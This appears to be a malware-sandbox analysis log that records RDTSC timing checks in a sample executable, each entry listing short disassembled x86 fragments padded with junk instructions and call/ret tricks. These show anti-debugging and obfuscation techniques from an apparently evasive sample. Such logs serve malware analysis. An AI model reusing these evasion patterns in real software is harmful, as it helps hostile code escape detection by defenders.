Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675DDF second address: 675E55 instructions: 0x00000000 rdtsc 0x00000002 je 00007F46B8B98B08h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D3716h], edx 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov ebx, 02B7A4A4h 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 mov dword ptr [ebp+12447EC8h], edx 0x0000002c mov eax, dword ptr [ebp+122D0B95h] 0x00000032 push ebx 0x00000033 xor edi, 5F4E9D76h 0x00000039 pop ebx 0x0000003a push FFFFFFFFh 0x0000003c sbb di, 4810h 0x00000041 mov ebx, dword ptr [ebp+122D3852h] 0x00000047 nop 0x00000048 push ecx 0x00000049 jmp 00007F46B8B98B12h 0x0000004e pop ecx 0x0000004f push eax 0x00000050 pushad 0x00000051 jmp 00007F46B8B98B14h 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678B87 second address: 678C10 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F46B8DCA196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c jns 00007F46B8DCA1AAh 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F46B8DCA198h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 0000001Ah 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push eax 0x00000032 call 00007F46B8DCA198h 0x00000037 pop eax 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c add dword ptr [esp+04h], 00000019h 0x00000044 inc eax 0x00000045 push eax 0x00000046 ret 0x00000047 pop eax 0x00000048 ret 0x00000049 jo 00007F46B8DCA19Ch 0x0000004f xor dword ptr [ebp+122D1B17h], edx 0x00000055 mov bl, 2Dh 0x00000057 push 00000000h 0x00000059 stc 0x0000005a xchg eax, esi 0x0000005b je 00007F46B8DCA1A0h 0x00000061 pushad 0x00000062 pushad 0x00000063 popad 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679AAB second address: 679AAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679AAF second address: 679AB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67AAFD second address: 67AB08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F46B8B98B06h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BA32 second address: 67BA36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BA36 second address: 67BAA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov bl, 26h 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F46B8B98B08h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ebp 0x0000002c call 00007F46B8B98B08h 0x00000031 pop ebp 0x00000032 mov dword ptr [esp+04h], ebp 0x00000036 add dword ptr [esp+04h], 00000018h 0x0000003e inc ebp 0x0000003f push ebp 0x00000040 ret 0x00000041 pop ebp 0x00000042 ret 0x00000043 mov edi, 2F90B270h 0x00000048 mov ebx, 2D103792h 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F46B8B98B13h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BAA6 second address: 67BABD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F46B8DCA1A2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679D53 second address: 679D89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8B98B0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F46B8B98B13h 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F46B8B98B0Fh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67EA64 second address: 67EA9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c jbe 00007F46B8DCA198h 0x00000012 pushad 0x00000013 popad 0x00000014 pop ebx 0x00000015 nop 0x00000016 add edi, dword ptr [ebp+122D365Bh] 0x0000001c push 00000000h 0x0000001e movzx edi, ax 0x00000021 push 00000000h 0x00000023 adc ebx, 0AF963C9h 0x00000029 xchg eax, esi 0x0000002a je 00007F46B8DCA1A8h 0x00000030 push eax 0x00000031 push edx 0x00000032 jl 00007F46B8DCA196h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6809C4 second address: 6809C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67FC10 second address: 67FCA1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F46B8DCA1AAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push dword ptr fs:[00000000h] 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007F46B8DCA198h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e mov ebx, dword ptr [ebp+122D336Ch] 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b mov bx, si 0x0000003e mov eax, dword ptr [ebp+122D16CDh] 0x00000044 mov dword ptr [ebp+1245AF96h], eax 0x0000004a push FFFFFFFFh 0x0000004c push 00000000h 0x0000004e push eax 0x0000004f call 00007F46B8DCA198h 0x00000054 pop eax 0x00000055 mov dword ptr [esp+04h], eax 0x00000059 add dword ptr [esp+04h], 00000015h 0x00000061 inc eax 0x00000062 push eax 0x00000063 ret 0x00000064 pop eax 0x00000065 ret 0x00000066 nop 0x00000067 pushad 0x00000068 jnc 00007F46B8DCA198h 0x0000006e push edi 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67FCA1 second address: 67FCAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push ecx 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680B76 second address: 680B7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680B7D second address: 680B83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680B83 second address: 680C22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+1244AEE8h], edx 0x00000011 push dword ptr fs:[00000000h] 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f push 00000000h 0x00000021 push edi 0x00000022 call 00007F46B8DCA198h 0x00000027 pop edi 0x00000028 mov dword ptr [esp+04h], edi 0x0000002c add dword ptr [esp+04h], 0000001Dh 0x00000034 inc edi 0x00000035 push edi 0x00000036 ret 0x00000037 pop edi 0x00000038 ret 0x00000039 jnp 00007F46B8DCA1B6h 0x0000003f mov eax, dword ptr [ebp+122D00B9h] 0x00000045 jne 00007F46B8DCA1A4h 0x0000004b pushad 0x0000004c clc 0x0000004d mov dword ptr [ebp+1247758Ch], ecx 0x00000053 popad 0x00000054 push FFFFFFFFh 0x00000056 add bh, 00000071h 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d push eax 0x0000005e pop eax 0x0000005f jo 00007F46B8DCA196h 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 688444 second address: 68847F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8B98B0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007F46B8B98B12h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F46B8B98B17h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6885C5 second address: 6885C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6885C9 second address: 6885D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6885D5 second address: 6885F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8DCA1A7h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6885F2 second address: 6885F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6885F8 second address: 6885FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6885FC second address: 688622 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F46B8B98B15h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 688622 second address: 688627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CB77 second address: 68CB7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CC38 second address: 68CC3D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CC3D second address: 68CC4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CC4D second address: 68CC52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CC52 second address: 68CC74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8B98B16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CD3E second address: 68CD44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CD44 second address: 68CD4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CD4C second address: 68CD90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F46B8DCA19Dh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c jnl 00007F46B8DCA1A0h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push edx 0x00000017 pushad 0x00000018 jmp 00007F46B8DCA1A8h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CD90 second address: 68CD9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692CE4 second address: 692CFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F46B8DCA19Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692CFA second address: 692D04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F46B8B98B06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692D04 second address: 692D23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F46B8DCA1A7h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692D23 second address: 692D5B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jnl 00007F46B8B98B08h 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 jl 00007F46B8B98B06h 0x0000001a jmp 00007F46B8B98B12h 0x0000001f js 00007F46B8B98B06h 0x00000025 popad 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692EBA second address: 692EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pushad 0x00000006 popad 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 693014 second address: 693035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F46B8B98B11h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop eax 0x0000000d push ebx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 698EAB second address: 698EB1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 698EB1 second address: 698ED3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F46B8B98B19h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69905A second address: 69906E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F46B8DCA19Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69906E second address: 699072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6991C7 second address: 6991CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6991CD second address: 6991D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6991D5 second address: 6991DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6991DB second address: 6991DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6991DF second address: 6991FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8DCA1A6h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6991FB second address: 69921F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F46B8B98B0Eh 0x00000008 pushad 0x00000009 popad 0x0000000a jng 00007F46B8B98B06h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 jns 00007F46B8B98B0Eh 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6994B6 second address: 6994BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6994BE second address: 6994D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F46B8B98B06h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6994D1 second address: 6994D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6994D5 second address: 6994E7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F46B8B98B06h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 699640 second address: 699646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 699646 second address: 699663 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8B98B13h 0x00000007 je 00007F46B8B98B06h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 699663 second address: 69967A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8DCA19Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F46B8DCA196h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 699C08 second address: 699C39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F46B8B98B0Dh 0x00000009 popad 0x0000000a push ebx 0x0000000b jc 00007F46B8B98B06h 0x00000011 pop ebx 0x00000012 jno 00007F46B8B98B0Ah 0x00000018 popad 0x00000019 pushad 0x0000001a jno 00007F46B8B98B08h 0x00000020 push esi 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 699F1E second address: 699F36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F46B8DCA19Bh 0x00000008 pop eax 0x00000009 pushad 0x0000000a jbe 00007F46B8DCA196h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 699F36 second address: 699F49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F46B8B98B06h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C42C second address: 69C432 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C432 second address: 69C436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C436 second address: 69C43C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A19BD second address: 6A19C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F46B8B98B06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A19C7 second address: 6A19E5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F46B8DCA1A4h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A19E5 second address: 6A19FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F46B8B98B0Ah 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A0934 second address: 6A0938 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A0938 second address: 6A093E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A093E second address: 6A0976 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F46B8DCA1A2h 0x0000000a popad 0x0000000b pushad 0x0000000c jbe 00007F46B8DCA196h 0x00000012 jmp 00007F46B8DCA1A7h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A0D6B second address: 6A0D76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F46B8B98B06h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 651DCA second address: 651DE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F46B8DCA1A0h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A1876 second address: 6A1880 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F46B8B98B06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A1880 second address: 6A1884 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A013F second address: 6A0145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A91C8 second address: 6A91E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F46B8DCA1A9h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE2F8 second address: 6AE317 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F46B8B98B19h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE317 second address: 6AE351 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F46B8DCA1CFh 0x0000000e jmp 00007F46B8DCA1A6h 0x00000013 pushad 0x00000014 jmp 00007F46B8DCA1A3h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 667E6C second address: 651355 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F46B8B98B14h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+1244D492h], edx 0x00000011 mov dword ptr [ebp+122D2238h], edi 0x00000017 lea eax, dword ptr [ebp+12479BA4h] 0x0000001d jmp 00007F46B8B98B0Eh 0x00000022 push eax 0x00000023 jmp 00007F46B8B98B0Ah 0x00000028 mov dword ptr [esp], eax 0x0000002b add dword ptr [ebp+122D371Bh], ebx 0x00000031 call dword ptr [ebp+122D223Fh] 0x00000037 jnp 00007F46B8B98B24h 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F46B8B98B0Ch 0x00000044 rdtsc
